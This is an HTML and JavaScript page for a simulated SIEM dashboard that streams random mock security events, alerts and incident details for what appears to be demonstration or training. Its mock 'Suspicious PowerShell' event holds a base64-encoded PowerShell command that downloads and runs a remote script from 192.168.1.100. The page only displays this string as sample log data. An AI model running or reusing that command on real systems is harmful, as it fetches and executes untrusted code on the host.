Spaces:
Running
Running
| <html lang="en"> | |
| <head> | |
| <meta charset="UTF-8"> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <title>CyberSec SIEM Simulator</title> | |
| <script src="https://cdn.tailwindcss.com"></script> | |
| <link href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css" rel="stylesheet"> | |
| <style> | |
| @import url('https://fonts.googleapis.com/css2?family=JetBrains+Mono:wght@400;700&family=Inter:wght@400;600;800&display=swap'); | |
| :root { | |
| --neon-green: #00ff41; | |
| --neon-blue: #00f3ff; | |
| --neon-red: #ff003c; | |
| --neon-yellow: #ffee00; | |
| --bg-dark: #050505; | |
| --panel-bg: #0a0a0a; | |
| } | |
| body { | |
| background-color: var(--bg-dark); | |
| color: #e0e0e0; | |
| font-family: 'Inter', sans-serif; | |
| overflow: hidden; | |
| } | |
| .font-mono { | |
| font-family: 'JetBrains Mono', monospace; | |
| } | |
| /* CRT Scanline Effect */ | |
| .scanlines { | |
| position: fixed; | |
| top: 0; | |
| left: 0; | |
| width: 100vw; | |
| height: 100vh; | |
| background: linear-gradient( | |
| to bottom, | |
| rgba(255,255,255,0), | |
| rgba(255,255,255,0) 50%, | |
| rgba(0,0,0,0.2) 50%, | |
| rgba(0,0,0,0.2) | |
| ); | |
| background-size: 100% 4px; | |
| pointer-events: none; | |
| z-index: 9999; | |
| opacity: 0.6; | |
| } | |
| /* Custom Scrollbar */ | |
| ::-webkit-scrollbar { | |
| width: 6px; | |
| } | |
| ::-webkit-scrollbar-track { | |
| background: #111; | |
| } | |
| ::-webkit-scrollbar-thumb { | |
| background: #333; | |
| border-radius: 3px; | |
| } | |
| ::-webkit-scrollbar-thumb:hover { | |
| background: var(--neon-green); | |
| } | |
| /* Animations */ | |
| @keyframes pulse-red { | |
| 0% { box-shadow: 0 0 0 0 rgba(255, 0, 60, 0.4); } | |
| 70% { box-shadow: 0 0 0 10px rgba(255, 0, 60, 0); } | |
| 100% { box-shadow: 0 0 0 0 rgba(255, 0, 60, 0); } | |
| } | |
| @keyframes pulse-green { | |
| 0% { box-shadow: 0 0 0 0 rgba(0, 255, 65, 0.4); } | |
| 70% { box-shadow: 0 0 0 10px rgba(0, 255, 65, 0); } | |
| 100% { box-shadow: 0 0 0 0 rgba(0, 255, 65, 0); } | |
| } | |
| @keyframes slide-in { | |
| from { transform: translateX(-100%); opacity: 0; } | |
| to { transform: translateX(0); opacity: 1; } | |
| } | |
| @keyframes flash { | |
| 0%, 100% { opacity: 1; } | |
| 50% { opacity: 0.3; } | |
| } | |
| .alert-critical { animation: pulse-red 2s infinite; border: 1px solid var(--neon-red); } | |
| .alert-high { border-left: 4px solid var(--neon-red); } | |
| .alert-medium { border-left: 4px solid var(--neon-yellow); } | |
| .alert-low { border-left: 4px solid var(--neon-green); } | |
| .log-entry { | |
| animation: slide-in 0.3s ease-out forwards; | |
| border-bottom: 1px solid #1a1a1a; | |
| } | |
| .log-entry:hover { | |
| background-color: #1a1a1a; | |
| cursor: pointer; | |
| } | |
| .glass-panel { | |
| background: rgba(10, 10, 10, 0.8); | |
| backdrop-filter: blur(10px); | |
| border: 1px solid #222; | |
| box-shadow: 0 4px 30px rgba(0, 0, 0, 0.5); | |
| } | |
| .glitch-text:hover { | |
| animation: glitch 0.3s cubic-bezier(.25, .46, .45, .94) both infinite; | |
| color: var(--neon-red); | |
| } | |
| @keyframes glitch { | |
| 0% { transform: translate(0) } | |
| 20% { transform: translate(-2px, 2px) } | |
| 40% { transform: translate(-2px, -2px) } | |
| 60% { transform: translate(2px, 2px) } | |
| 80% { transform: translate(2px, -2px) } | |
| 100% { transform: translate(0) } | |
| } | |
| /* Grid Layout */ | |
| .dashboard-grid { | |
| display: grid; | |
| grid-template-columns: 250px 1fr 350px; | |
| grid-template-rows: 60px 1fr; | |
| height: 100vh; | |
| gap: 1px; | |
| background-color: #111; | |
| } | |
| .header { grid-column: 1 / -1; } | |
| .sidebar { grid-row: 2 / -1; } | |
| .main-content { grid-row: 2 / -1; overflow-y: auto; padding: 20px; } | |
| .right-panel { grid-row: 2 / -1; overflow-y: auto; } | |
| @media (max-width: 1200px) { | |
| .dashboard-grid { | |
| grid-template-columns: 1fr; | |
| grid-template-rows: auto; | |
| overflow-y: auto; | |
| } | |
| .sidebar, .right-panel { display: none; } /* Simplified for mobile in this demo, ideally would be drawers */ | |
| .main-content { grid-column: 1; } | |
| } | |
| </style> | |
| </head> | |
| <body> | |
| <div class="scanlines"></div> | |
| <div class="dashboard-grid"> | |
| <!-- Header --> | |
| <header class="header glass-panel flex items-center justify-between px-6 z-50 relative"> | |
| <div class="flex items-center gap-4"> | |
| <div class="w-3 h-3 rounded-full bg-green-500 animate-pulse"></div> | |
| <h1 class="text-xl font-bold tracking-widest text-white uppercase glitch-text"> | |
| <i class="fas fa-shield-alt text-green-500 mr-2"></i>NEXUS<span class="text-green-500">SIEM</span> | |
| </h1> | |
| <span class="text-xs text-gray-500 border border-gray-700 px-2 py-0.5 rounded">v4.2.0-RC1</span> | |
| </div> | |
| <div class="flex items-center gap-6"> | |
| <div class="hidden md:flex items-center gap-2 text-xs font-mono text-gray-400"> | |
| <span class="w-2 h-2 bg-blue-500 rounded-full"></span> SYSTEM: ONLINE | |
| <span class="w-2 h-2 bg-green-500 rounded-full ml-2"></span> INGESTION: ACTIVE | |
| <span class="w-2 h-2 bg-yellow-500 rounded-full ml-2"></span> CORRELATION: BUSY | |
| </div> | |
| <div class="flex items-center gap-3"> | |
| <button onclick="toggleSimulation()" id="simBtn" class="bg-gray-800 hover:bg-gray-700 text-white px-3 py-1.5 rounded text-xs border border-gray-600 transition-all"> | |
| <i class="fas fa-pause mr-1"></i> PAUSE | |
| </button> | |
| <button onclick="triggerBreach()" class="bg-red-900/30 hover:bg-red-900/50 text-red-400 border border-red-800 px-3 py-1.5 rounded text-xs transition-all animate-pulse"> | |
| <i class="fas fa-biohazard mr-1"></i> SIMULATE ATTACK | |
| </button> | |
| </div> | |
| <div class="text-right"> | |
| <div id="clock" class="text-lg font-mono font-bold text-white">00:00:00</div> | |
| <div class="text-[10px] text-gray-500 uppercase">UTC Time</div> | |
| </div> | |
| </div> | |
| </header> | |
| <!-- Sidebar --> | |
| <aside class="sidebar glass-panel p-4 flex flex-col gap-6 border-r border-gray-800"> | |
| <div> | |
| <h3 class="text-xs font-bold text-gray-500 uppercase mb-3 tracking-wider">Overview</h3> | |
| <nav class="flex flex-col gap-2"> | |
| <a href="#" class="flex items-center gap-3 text-green-400 bg-green-900/20 p-2 rounded border border-green-900/50"> | |
| <i class="fas fa-stream w-5"></i> Live Feed | |
| </a> | |
| <a href="#" class="flex items-center gap-3 text-gray-400 hover:text-white hover:bg-gray-800 p-2 rounded transition-colors"> | |
| <i class="fas fa-bell w-5"></i> Alerts <span id="alert-badge" class="ml-auto bg-red-600 text-white text-[10px] px-1.5 rounded-full">0</span> | |
| </a> | |
| <a href="#" class="flex items-center gap-3 text-gray-400 hover:text-white hover:bg-gray-800 p-2 rounded transition-colors"> | |
| <i class="fas fa-search w-5"></i> Investigation | |
| </a> | |
| <a href="#" class="flex items-center gap-3 text-gray-400 hover:text-white hover:bg-gray-800 p-2 rounded transition-colors"> | |
| <i class="fas fa-chart-pie w-5"></i> Reports | |
| </a> | |
| </nav> | |
| </div> | |
| <div> | |
| <h3 class="text-xs font-bold text-gray-500 uppercase mb-3 tracking-wider">Data Sources</h3> | |
| <div class="space-y-3"> | |
| <div class="flex justify-between text-xs text-gray-400"> | |
| <span>Firewall</span> | |
| <span class="text-green-400">1,240 EPS</span> | |
| </div> | |
| <div class="w-full bg-gray-800 h-1 rounded-full overflow-hidden"> | |
| <div class="bg-green-500 h-full" style="width: 75%"></div> | |
| </div> | |
| <div class="flex justify-between text-xs text-gray-400"> | |
| <span>Windows AD</span> | |
| <span class="text-blue-400">850 EPS</span> | |
| </div> | |
| <div class="w-full bg-gray-800 h-1 rounded-full overflow-hidden"> | |
| <div class="bg-blue-500 h-full" style="width: 60%"></div> | |
| </div> | |
| <div class="flex justify-between text-xs text-gray-400"> | |
| <span>CloudTrail</span> | |
| <span class="text-purple-400">320 EPS</span> | |
| </div> | |
| <div class="w-full bg-gray-800 h-1 rounded-full overflow-hidden"> | |
| <div class="bg-purple-500 h-full" style="width: 30%"></div> | |
| </div> | |
| </div> | |
| </div> | |
| <div class="mt-auto"> | |
| <div class="bg-gray-900/50 p-3 rounded border border-gray-800"> | |
| <div class="text-xs text-gray-500 mb-1">System Health</div> | |
| <div class="flex items-center gap-2"> | |
| <i class="fas fa-heartbeat text-green-500"></i> | |
| <span class="text-sm font-bold text-white">OPTIMAL</span> | |
| </div> | |
| </div> | |
| </div> | |
| </aside> | |
| <!-- Main Content --> | |
| <main class="main-content bg-black relative"> | |
| <!-- Metrics Row --> | |
| <div class="grid grid-cols-1 md:grid-cols-4 gap-4 mb-6"> | |
| <div class="glass-panel p-4 rounded-lg border-t-2 border-blue-500"> | |
| <div class="text-gray-400 text-xs uppercase mb-1">Total Events (24h)</div> | |
| <div class="text-2xl font-mono font-bold text-white" id="total-events">0</div> | |
| <div class="text-[10px] text-green-400 mt-1"><i class="fas fa-arrow-up"></i> 12% vs last hour</div> | |
| </div> | |
| <div class="glass-panel p-4 rounded-lg border-t-2 border-red-500"> | |
| <div class="text-gray-400 text-xs uppercase mb-1">Critical Alerts</div> | |
| <div class="text-2xl font-mono font-bold text-red-500" id="critical-count">0</div> | |
| <div class="text-[10px] text-red-400 mt-1 animate-pulse">Action Required</div> | |
| </div> | |
| <div class="glass-panel p-4 rounded-lg border-t-2 border-yellow-500"> | |
| <div class="text-gray-400 text-xs uppercase mb-1">Failed Logins</div> | |
| <div class="text-2xl font-mono font-bold text-yellow-500" id="failed-logins">0</div> | |
| <div class="text-[10px] text-gray-500 mt-1">Brute force attempts</div> | |
| </div> | |
| <div class="glass-panel p-4 rounded-lg border-t-2 border-purple-500"> | |
| <div class="text-gray-400 text-xs uppercase mb-1">Active Threats</div> | |
| <div class="text-2xl font-mono font-bold text-purple-500" id="active-threats">0</div> | |
| <div class="text-[10px] text-gray-500 mt-1">Under investigation</div> | |
| </div> | |
| </div> | |
| <!-- Log Stream --> | |
| <div class="glass-panel rounded-lg border border-gray-800 flex flex-col h-[calc(100%-140px)]"> | |
| <div class="p-3 border-b border-gray-800 flex justify-between items-center bg-gray-900/30"> | |
| <h2 class="text-sm font-bold text-gray-300"><i class="fas fa-terminal mr-2 text-green-500"></i>REAL-TIME EVENT STREAM</h2> | |
| <div class="flex gap-2"> | |
| <input type="text" placeholder="Filter logs..." class="bg-black border border-gray-700 text-xs text-white px-2 py-1 rounded focus:outline-none focus:border-green-500 font-mono"> | |
| <button class="text-gray-400 hover:text-white"><i class="fas fa-cog"></i></button> | |
| </div> | |
| </div> | |
| <div class="flex-1 overflow-y-auto font-mono text-xs p-0" id="log-container"> | |
| <!-- Logs injected here --> | |
| <div class="p-4 text-center text-gray-600 italic">Initializing log ingestion stream...</div> | |
| </div> | |
| </div> | |
| </main> | |
| <!-- Right Panel: Incident Details --> | |
| <aside class="right-panel glass-panel border-l border-gray-800 flex flex-col"> | |
| <div class="p-4 border-b border-gray-800"> | |
| <h2 class="text-sm font-bold text-white mb-1">INCIDENT ANALYZER</h2> | |
| <p class="text-[10px] text-gray-500">Select an event to reconstruct the attack chain.</p> | |
| </div> | |
| <div id="incident-details" class="flex-1 p-4 overflow-y-auto"> | |
| <!-- Default State --> | |
| <div class="h-full flex flex-col items-center justify-center text-gray-600 opacity-50"> | |
| <i class="fas fa-fingerprint text-4xl mb-3"></i> | |
| <p class="text-xs">No incident selected</p> | |
| </div> | |
| </div> | |
| <!-- Quick Actions --> | |
| <div class="p-4 border-t border-gray-800 bg-gray-900/50"> | |
| <h3 class="text-xs font-bold text-gray-400 mb-3 uppercase">Response Actions</h3> | |
| <div class="grid grid-cols-2 gap-2"> | |
| <button onclick="executeAction('isolate')" class="bg-gray-800 hover:bg-red-900/40 hover:text-red-400 hover:border-red-800 text-gray-300 text-xs py-2 rounded border border-gray-700 transition-all"> | |
| <i class="fas fa-ban mr-1"></i> Isolate Host | |
| </button> | |
| <button onclick="executeAction('disable')" class="bg-gray-800 hover:bg-yellow-900/40 hover:text-yellow-400 hover:border-yellow-800 text-gray-300 text-xs py-2 rounded border border-gray-700 transition-all"> | |
| <i class="fas fa-user-lock mr-1"></i> Disable User | |
| </button> | |
| <button onclick="executeAction('collect')" class="bg-gray-800 hover:bg-blue-900/40 hover:text-blue-400 hover:border-blue-800 text-gray-300 text-xs py-2 rounded border border-gray-700 transition-all"> | |
| <i class="fas fa-file-export mr-1"></i> Collect Forensics | |
| </button> | |
| <button onclick="executeAction('escalate')" class="bg-gray-800 hover:bg-purple-900/40 hover:text-purple-400 hover:border-purple-800 text-gray-300 text-xs py-2 rounded border border-gray-700 transition-all"> | |
| <i class="fas fa-exclamation-triangle mr-1"></i> Escalate | |
| </button> | |
| </div> | |
| </div> | |
| </aside> | |
| </div> | |
| <!-- Notification Toast Container --> | |
| <div id="toast-container" class="fixed bottom-4 right-4 z-50 flex flex-col gap-2 pointer-events-none"></div> | |
| <script> | |
| // --- Configuration & State --- | |
| const state = { | |
| isRunning: true, | |
| totalEvents: 12450, | |
| criticalAlerts: 0, | |
| failedLogins: 342, | |
| activeThreats: 2, | |
| logs: [], | |
| selectedIncident: null | |
| }; | |
| // --- Mock Data Generators --- | |
| const users = ['admin', 'jsmith', 'dscully', 'mmulder', 'wwonka', 'root', 'guest', 'svc_backup', 'sql_svc']; | |
| const ips = ['192.168.1.105', '10.0.0.15', '172.16.0.22', '192.168.1.1', '10.0.0.2', '45.33.22.11', '103.12.44.5']; | |
| const processes = ['svchost.exe', 'powershell.exe', 'cmd.exe', 'chrome.exe', 'lsass.exe', 'mimikatz.exe', 'psexec.exe', 'unknown.sh']; | |
| const actions = ['Login Success', 'Login Failure', 'File Access', 'Process Created', 'Registry Modified', 'Firewall Block', 'USB Device Connected', 'Privilege Escalation']; | |
| const attackSignatures = [ | |
| { name: 'Brute Force Attack', type: 'high', pattern: 'Multiple Failed Logins' }, | |
| { name: 'Mimikatz Detected', type: 'critical', pattern: 'Credential Dumping Tool' }, | |
| { name: 'Suspicious PowerShell', type: 'medium', pattern: 'Encoded Command' }, | |
| { name: 'Port Scanning', type: 'medium', pattern: 'Nmap Detected' }, | |
| { name: 'Data Exfiltration', type: 'critical', pattern: 'Large Outbound Transfer' } | |
| ]; | |
| // --- Utility Functions --- | |
| function getRandomItem(arr) { | |
| return arr[Math.floor(Math.random() * arr.length)]; | |
| } | |
| function generateId() { | |
| return Math.random().toString(36).substr(2, 9).toUpperCase(); | |
| } | |
| function getTimestamp() { | |
| const now = new Date(); | |
| return now.toISOString().replace('T', ' ').split('.')[0]; | |
| } | |
| // --- Core Logic --- | |
| function createLogEntry(isAttack = false) { | |
| const id = generateId(); | |
| const timestamp = getTimestamp(); | |
| const user = getRandomItem(users); | |
| const srcIp = getRandomItem(ips); | |
| const action = isAttack ? 'Login Failure' : getRandomItem(actions); | |
| let severity = 'low'; | |
| let message = ''; | |
| let details = {}; | |
| // Logic to determine log characteristics | |
| if (isAttack) { | |
| const attack = getRandomItem(attackSignatures); | |
| severity = attack.type; | |
| message = `${attack.pattern} detected from ${srcIp}`; | |
| details = { | |
| attackType: attack.name, | |
| targetUser: user, | |
| command: attack.name.includes('PowerShell') ? 'powershell -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQA5ADIALgAxADYAOAAuADEALgAxADAAMAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=' : 'N/A', | |
| hash: Math.random().toString(16).substr(2, 32) | |
| }; | |
| } else { | |
| // Normal noise | |
| if (action === 'Login Failure') severity = 'medium'; | |
| if (action === 'Process Created' && Math.random() > 0.8) { | |
| severity = 'high'; | |
| message = `Suspicious process ${getRandomItem(processes)} created by ${user}`; | |
| } else { | |
| message = `${action} by ${user} from ${srcIp}`; | |
| } | |
| } | |
| return { | |
| id, | |
| timestamp, | |
| user, | |
| srcIp, | |
| severity, | |
| message, | |
| action, | |
| details | |
| }; | |
| } | |
| function renderLog(log) { | |
| const container = document.getElementById('log-container'); | |
| const div = document.createElement('div'); | |
| div.className = `log-entry p-2 flex items-start gap-3 hover:bg-gray-800 cursor-pointer transition-colors ${getSeverityColor(log.severity)}`; | |
| div.onclick = () => selectIncident(log); | |
| const icon = getIconForAction(log.action); | |
| div.innerHTML = ` | |
| <div class="mt-0.5 text-gray-500 text-[10px] w-16 flex-shrink-0 pt-1">${log.timestamp.split(' ')[1]}</div> | |
| <div class="flex-shrink-0 w-4 text-center pt-1">${icon}</div> | |
| <div class="flex-1 min-w-0"> | |
| <div class="flex items-center gap-2 mb-0.5"> | |
| <span class="text-[10px] font-bold uppercase px-1 rounded ${getSeverityBadge(log.severity)}">${log.severity}</span> | |
| <span class="text-gray-300 font-semibold truncate">${log.action}</span> | |
| </div> | |
| <div class="text-gray-400 truncate text-[11px] font-mono">${log.message}</div> | |
| </div> | |
| `; | |
| container.prepend(div); | |
| // Keep DOM light | |
| if (container.children.length > 100) { | |
| container.lastElementChild.remove(); | |
| } | |
| } | |
| function getSeverityColor(sev) { | |
| if (sev === 'critical') return 'border-l-4 border-red-600 bg-red-900/10'; | |
| if (sev === 'high') return 'border-l-4 border-orange-500 bg-orange-900/10'; | |
| if (sev === 'medium') return 'border-l-4 border-yellow-500 bg-yellow-900/10'; | |
| return 'border-l-4 border-green-600'; | |
| } | |
| function getSeverityBadge(sev) { | |
| if (sev === 'critical') return 'bg-red-600 text-white'; | |
| if (sev === 'high') return 'bg-orange-500 text-white'; | |
| if (sev === 'medium') return 'bg-yellow-500 text-black'; | |
| return 'bg-green-600 text-white'; | |
| } | |
| function getIconForAction(action) { | |
| if (action.includes('Login')) return '<i class="fas fa-user-circle text-blue-400"></i>'; | |
| if (action.includes('Process')) return '<i class="fas fa-cog text-gray-400"></i>'; | |
| if (action.includes('Firewall')) return '<i class="fas fa-fire text-red-400"></i>'; | |
| if (action.includes('File')) return '<i class="fas fa-file text-yellow-400"></i>'; | |
| return '<i class="fas fa-info-circle text-gray-500"></i>'; | |
| } | |
| function updateStats() { | |
| document.getElementById('total-events').innerText = state.totalEvents.toLocaleString(); | |
| document.getElementById('critical-count').innerText = state.criticalAlerts; | |
| document.getElementById('failed-logins').innerText = state.failedLogins; | |
| document.getElementById('active-threats').innerText = state.activeThreats; | |
| document.getElementById('alert-badge').innerText = state.criticalAlerts; | |
| if(state.criticalAlerts > 0) { | |
| document.getElementById('alert-badge').classList.add('animate-pulse'); | |
| } | |
| } | |
| function selectIncident(log) { | |
| state.selectedIncident = log; | |
| const panel = document.getElementById('incident-details'); | |
| let detailsHtml = ''; | |
| if (log.severity === 'critical' || log.severity === 'high') { | |
| detailsHtml = ` | |
| <div class="mb-4 p-3 bg-red-900/20 border border-red-800 rounded"> | |
| <div class="text-red-400 text-xs font-bold uppercase mb-1">Threat Intelligence Match</div> | |
| <div class="text-white text-sm">${log.details.attackType || 'Unknown Threat'}</div> | |
| </div> | |
| <div class="space-y-3 font-mono text-xs"> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">MITRE ATT&CK</span> | |
| <span class="text-yellow-400">T1110, T1003</span> | |
| </div> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">Command Line</span> | |
| <span class="text-gray-300 break-all text-right w-2/3">${log.details.command || 'N/A'}</span> | |
| </div> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">File Hash</span> | |
| <span class="text-gray-300">${log.details.hash || 'N/A'}</span> | |
| </div> | |
| </div> | |
| <div class="mt-6"> | |
| <h4 class="text-xs font-bold text-gray-400 mb-2 uppercase">Recommended Playbook</h4> | |
| <div class="bg-gray-800 p-2 rounded border border-gray-700 text-xs text-gray-300"> | |
| 1. Isolate host ${log.srcIp} immediately.<br> | |
| 2. Reset credentials for ${log.user}.<br> | |
| 3. Review outbound connections. | |
| </div> | |
| </div> | |
| `; | |
| } else { | |
| detailsHtml = ` | |
| <div class="space-y-3 font-mono text-xs"> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">Event ID</span> | |
| <span class="text-gray-300">#${log.id}</span> | |
| </div> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">User</span> | |
| <span class="text-gray-300">${log.user}</span> | |
| </div> | |
| <div class="flex justify-between border-b border-gray-800 pb-1"> | |
| <span class="text-gray-500">Source IP</span> | |
| <span class="text-gray-300">${log.srcIp}</span> | |
| </div> | |
| </div> | |
| <div class="mt-6 p-3 bg-gray-800/50 rounded text-xs text-gray-400 italic"> | |
| No specific threat intelligence associated with this event. | |
| </div> | |
| `; | |
| } | |
| panel.innerHTML = ` | |
| <div class="animate-fade-in"> | |
| <div class="flex items-center justify-between mb-4"> | |
| <span class="text-2xl font-bold text-white">#${log.id}</span> | |
| <span class="${getSeverityBadge(log.severity)} text-xs px-2 py-1 rounded uppercase">${log.severity}</span> | |
| </div> | |
| <div class="text-gray-400 text-sm mb-6">${log.message}</div> | |
| ${detailsHtml} | |
| </div> | |
| `; | |
| } | |
| function showToast(message, type = 'info') { | |
| const container = document.getElementById('toast-container'); | |
| const toast = document.createElement('div'); | |
| let colors = 'bg-gray-800 border-gray-600 text-white'; | |
| let icon = 'fa-info-circle'; | |
| if (type === 'success') { colors = 'bg-green-900/90 border-green-600 text-green-100'; icon = 'fa-check-circle'; } | |
| if (type === 'error') { colors = 'bg-red-900/90 border-red-600 text-red-100'; icon = 'fa-exclamation-circle'; } | |
| toast.className = `${colors} border backdrop-blur-md px-4 py-3 rounded shadow-lg flex items-center gap-3 min-w-[250px] transform transition-all duration-300 translate-x-full pointer-events-auto`; | |
| toast.innerHTML = ` | |
| <i class="fas ${icon}"></i> | |
| <span class="text-sm font-medium">${message}</span> | |
| `; | |
| container.appendChild(toast); | |
| // Animate in | |
| requestAnimationFrame(() => { | |
| toast.classList.remove('translate-x-full'); | |
| }); | |
| // Remove after 3s | |
| setTimeout(() => { | |
| toast.classList.add('translate-x-full', 'opacity-0'); | |
| setTimeout(() => toast.remove(), 300); | |
| }, 3000); | |
| } | |
| function executeAction(actionType) { | |
| if (!state.selectedIncident) { | |
| showToast('Please select an incident first', 'error'); | |
| return; | |
| } | |
| const btn = event.currentTarget; | |
| const originalText = btn.innerHTML; | |
| btn.innerHTML = '<i class="fas fa-spinner fa-spin"></i> Processing...'; | |
| btn.disabled = true; | |
| setTimeout(() => { | |
| btn.innerHTML = originalText; | |
| btn.disabled = false; | |
| let msg = ''; | |
| switch(actionType) { | |
| case 'isolate': msg = `Host ${state.selectedIncident.srcIp} isolated.`; break; | |
| case 'disable': msg = `User ${state.selectedIncident.user} account disabled.`; break; | |
| case 'collect': msg = 'Forensic snapshot initiated.'; break; | |
| case 'escalate': msg = 'Incident escalated to L3.'; break; | |
| } | |
| showToast(msg, 'success'); | |
| }, 800); | |
| } | |
| // --- Simulation Loop --- | |
| function toggleSimulation() { | |
| state.isRunning = !state.isRunning; | |
| const btn = document.getElementById('simBtn'); | |
| if (state.isRunning) { | |
| btn.innerHTML = '<i class="fas fa-pause mr-1"></i> PAUSE'; | |
| btn.classList.remove('bg-green-900', 'text-green-100'); | |
| btn.classList.add('bg-gray-800'); | |
| showToast('Simulation Resumed'); | |
| } else { | |
| btn.innerHTML = '<i class="fas fa-play mr-1"></i> RESUME'; | |
| btn.classList.remove('bg-gray-800'); | |
| btn.classList.add('bg-green-900', 'text-green-100'); | |
| showToast('Simulation Paused'); | |
| } | |
| } | |
| function triggerBreach() { | |
| showToast('ATTACK SIMULATION INITIATED', 'error'); | |
| // Generate a burst of critical logs | |
| let count = 0; | |
| const burst = setInterval(() => { | |
| const log = createLogEntry(true); | |
| // Force severity | |
| log.severity = 'critical'; | |
| log.message = `CRITICAL: ${log.details.attackType} in progress!`; | |
| state.logs.unshift(log); | |
| renderLog(log); | |
| state.totalEvents++; | |
| state.criticalAlerts++; | |
| state.activeThreats++; | |
| updateStats(); | |
| count++; | |
| if (count > 5) clearInterval(burst); | |
| }, 200); | |
| } | |
| setInterval(() => { | |
| if (!state.isRunning) return; | |
| // Randomly decide if this is an attack log or normal noise | |
| const isAttack = Math.random() > 0.85; // 15% chance of attack | |
| const log = createLogEntry(isAttack); | |
| state.logs.unshift(log); | |
| renderLog(log); | |
| // Update Stats | |
| state.totalEvents++; | |
| if (log.severity === 'critical') { | |
| state.criticalAlerts++; | |
| state.activeThreats++; | |
| } | |
| if (log.action === 'Login Failure') state.failedLogins++; | |
| updateStats(); | |
| }, 1500); // New log every 1.5 seconds | |
| // Clock | |
| setInterval(() => { | |
| const now = new Date(); | |
| document.getElementById('clock').innerText = now.toISOString().split('T')[1].split('.')[0]; | |
| }, 1000); | |
| // Initial Load | |
| updateStats(); | |
| showToast('SIEM System Online. Ingestion Active.', 'success'); | |
| </script> | |
| </body> | |
| </html> |